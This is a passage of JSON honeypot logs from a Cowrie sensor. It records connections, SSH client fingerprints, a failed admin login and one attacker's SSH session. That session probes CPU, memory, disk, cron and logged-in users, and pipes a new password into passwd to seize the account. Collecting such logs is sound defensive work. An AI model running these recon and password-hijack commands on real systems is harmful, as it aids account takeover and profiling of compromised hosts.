{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":40302,"dst_ip":"159.203.135.109","dst_port":23,"session":"fafea226ed57","protocol":"telnet","message":"New connection: 134.209.8.29:40302 (159.203.135.109:23) [session: fafea226ed57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:29:46.047593Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:29:46.305335Z","src_ip":"147.50.231.135","session":"04a63cd78fd8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"3245gs5662d34","message":"login attempt [admin/3245gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:29:47.381380Z","src_ip":"147.50.231.135","session":"04a63cd78fd8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:29:48.645806Z","src_ip":"147.50.231.135","session":"04a63cd78fd8","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:29:48.965828Z","src_ip":"147.50.231.135","session":"a51898292893","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:29:48.969541Z","src_ip":"147.50.231.135","session":"a51898292893","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","size":2,"shasum":"3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:29:49.235338Z","src_ip":"147.50.231.135","session":"a51898292893","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:29:49.823856Z","src_ip":"147.50.231.135","session":"a51898292893","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo -e \"admin#123\\nWadK2yLw2GwL\\nWadK2yLw2GwL\"|passwd|bash","message":"CMD: echo -e \"admin#123\\nWadK2yLw2GwL\\nWadK2yLw2GwL\"|passwd|bash","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:29:49.827783Z","src_ip":"147.50.231.135","session":"a51898292893","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"Enter new UNIX password: ","message":"CMD: Enter new UNIX password: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:29:49.831732Z","src_ip":"147.50.231.135","session":"a51898292893","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"Enter new UNIX password:","message":"Command not found: Enter new UNIX password:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:29:49.835318Z","src_ip":"147.50.231.135","session":"a51898292893","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/5b64d7a85cdf46e9a40137d175cca2fdc7015e4d960b77040dc926a70af208b8","size":32,"shasum":"5b64d7a85cdf46e9a40137d175cca2fdc7015e4d960b77040dc926a70af208b8","duplicate":false,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/5b64d7a85cdf46e9a40137d175cca2fdc7015e4d960b77040dc926a70af208b8 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:29:50.101774Z","src_ip":"147.50.231.135","session":"a51898292893","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:29:50.670998Z","src_ip":"147.50.231.135","session":"a51898292893","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo \"admin#123\\nWadK2yLw2GwL\\nWadK2yLw2GwL\\n\"|passwd","message":"CMD: echo \"admin#123\\nWadK2yLw2GwL\\nWadK2yLw2GwL\\n\"|passwd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:29:50.674792Z","src_ip":"147.50.231.135","session":"a51898292893","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":6.509051084518433,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:29:50.854950Z","src_ip":"134.209.8.29","session":"10647a8e94c7","protocol":"telnet"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/a7081aaf435efcad4678c9936c47b88fe55987fd98a42a160968c9d345303d69","size":25,"shasum":"a7081aaf435efcad4678c9936c47b88fe55987fd98a42a160968c9d345303d69","duplicate":false,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/a7081aaf435efcad4678c9936c47b88fe55987fd98a42a160968c9d345303d69 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:29:50.939218Z","src_ip":"147.50.231.135","session":"a51898292893","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:29:51.549499Z","src_ip":"147.50.231.135","session":"a51898292893","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","message":"CMD: cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:29:51.553729Z","src_ip":"147.50.231.135","session":"a51898292893","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.320130825042725,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:29:51.615000Z","src_ip":"194.233.64.34","session":"d260adf10638","protocol":"telnet"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","size":35,"shasum":"95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:29:51.820050Z","src_ip":"147.50.231.135","session":"a51898292893","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:29:52.387493Z","src_ip":"147.50.231.135","session":"a51898292893","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","message":"CMD: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:29:52.390081Z","src_ip":"147.50.231.135","session":"a51898292893","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":41298,"dst_ip":"159.203.135.109","dst_port":23,"session":"a218aa81e278","protocol":"telnet","message":"New connection: 134.209.8.29:41298 (159.203.135.109:23) [session: a218aa81e278]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:29:52.395730Z"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","size":26,"shasum":"ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:29:52.654106Z","src_ip":"147.50.231.135","session":"a51898292893","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:29:53.215202Z","src_ip":"147.50.231.135","session":"a51898292893","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ls -lh $(which ls)","message":"CMD: ls -lh $(which ls)","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:29:53.218282Z","src_ip":"147.50.231.135","session":"a51898292893","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"which ls","message":"CMD: which ls","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:29:53.221976Z","src_ip":"147.50.231.135","session":"a51898292893","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":41290,"dst_ip":"159.203.135.109","dst_port":23,"session":"b58f26acd23d","protocol":"telnet","message":"New connection: 134.209.8.29:41290 (159.203.135.109:23) [session: b58f26acd23d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:29:53.380754Z"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","size":55,"shasum":"a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:29:53.486998Z","src_ip":"147.50.231.135","session":"a51898292893","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:29:54.056011Z","src_ip":"147.50.231.135","session":"a51898292893","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"crontab -l","message":"CMD: crontab -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:29:54.059354Z","src_ip":"147.50.231.135","session":"a51898292893","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","size":21,"shasum":"f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:29:54.323678Z","src_ip":"147.50.231.135","session":"a51898292893","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:29:54.896543Z","src_ip":"147.50.231.135","session":"a51898292893","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"w","message":"CMD: w","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:29:54.900372Z","src_ip":"147.50.231.135","session":"a51898292893","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","size":206,"shasum":"50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:29:55.169544Z","src_ip":"147.50.231.135","session":"a51898292893","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:29:55.746940Z","src_ip":"147.50.231.135","session":"a51898292893","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -m","message":"CMD: uname -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:29:55.750693Z","src_ip":"147.50.231.135","session":"a51898292893","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","size":7,"shasum":"ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:29:56.016866Z","src_ip":"147.50.231.135","session":"a51898292893","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:29:56.581369Z","src_ip":"147.50.231.135","session":"a51898292893","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep model | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep model | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:29:56.585038Z","src_ip":"147.50.231.135","session":"a51898292893","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","size":2,"shasum":"64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:29:56.850803Z","src_ip":"147.50.231.135","session":"a51898292893","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:29:57.421895Z","src_ip":"147.50.231.135","session":"a51898292893","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"top","message":"CMD: top","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:29:57.425581Z","src_ip":"147.50.231.135","session":"a51898292893","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","size":44,"shasum":"28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:29:57.690407Z","src_ip":"147.50.231.135","session":"a51898292893","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:29:58.253139Z","src_ip":"147.50.231.135","session":"a51898292893","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname","message":"CMD: uname","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:29:58.256675Z","src_ip":"147.50.231.135","session":"a51898292893","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","size":6,"shasum":"5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:29:58.522641Z","src_ip":"147.50.231.135","session":"a51898292893","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:29:59.090308Z","src_ip":"147.50.231.135","session":"a51898292893","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -a","message":"CMD: uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:29:59.094160Z","src_ip":"147.50.231.135","session":"a51898292893","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","size":81,"shasum":"28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:29:59.359667Z","src_ip":"147.50.231.135","session":"a51898292893","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:29:59.951832Z","src_ip":"147.50.231.135","session":"a51898292893","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"whoami","message":"CMD: whoami","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:29:59.955586Z","src_ip":"147.50.231.135","session":"a51898292893","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":53.03063106536865,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:30:00.135947Z","src_ip":"38.54.119.93","session":"f1e0abec2a75","protocol":"telnet"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","size":6,"shasum":"f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:30:00.220946Z","src_ip":"147.50.231.135","session":"a51898292893","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:30:01.026235Z","src_ip":"147.50.231.135","session":"a51898292893","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"lscpu | grep Model","message":"CMD: lscpu | grep Model","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:30:01.032074Z","src_ip":"147.50.231.135","session":"a51898292893","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","size":26,"shasum":"afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:30:01.303144Z","src_ip":"147.50.231.135","session":"a51898292893","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:30:01.899936Z","src_ip":"147.50.231.135","session":"a51898292893","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","message":"CMD: df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:30:01.903747Z","src_ip":"147.50.231.135","session":"a51898292893","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","size":12,"shasum":"09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:30:02.172477Z","src_ip":"147.50.231.135","session":"a51898292893","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"22.3","message":"Connection lost after 22.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:30:02.179747Z","src_ip":"147.50.231.135","session":"a51898292893","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":41304,"dst_ip":"159.203.135.109","dst_port":23,"session":"c45a8ab86c91","protocol":"telnet","message":"New connection: 134.209.8.29:41304 (159.203.135.109:23) [session: c45a8ab86c91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:30:04.068625Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.135.200.178","src_port":59520,"dst_ip":"10.17.0.5","dst_port":22,"session":"8159c68ab86a","protocol":"ssh","message":"New connection: 34.135.200.178:59520 (10.17.0.5:22) [session: 8159c68ab86a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:30:06.618769Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:30:06.627220Z","src_ip":"34.135.200.178","session":"8159c68ab86a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes2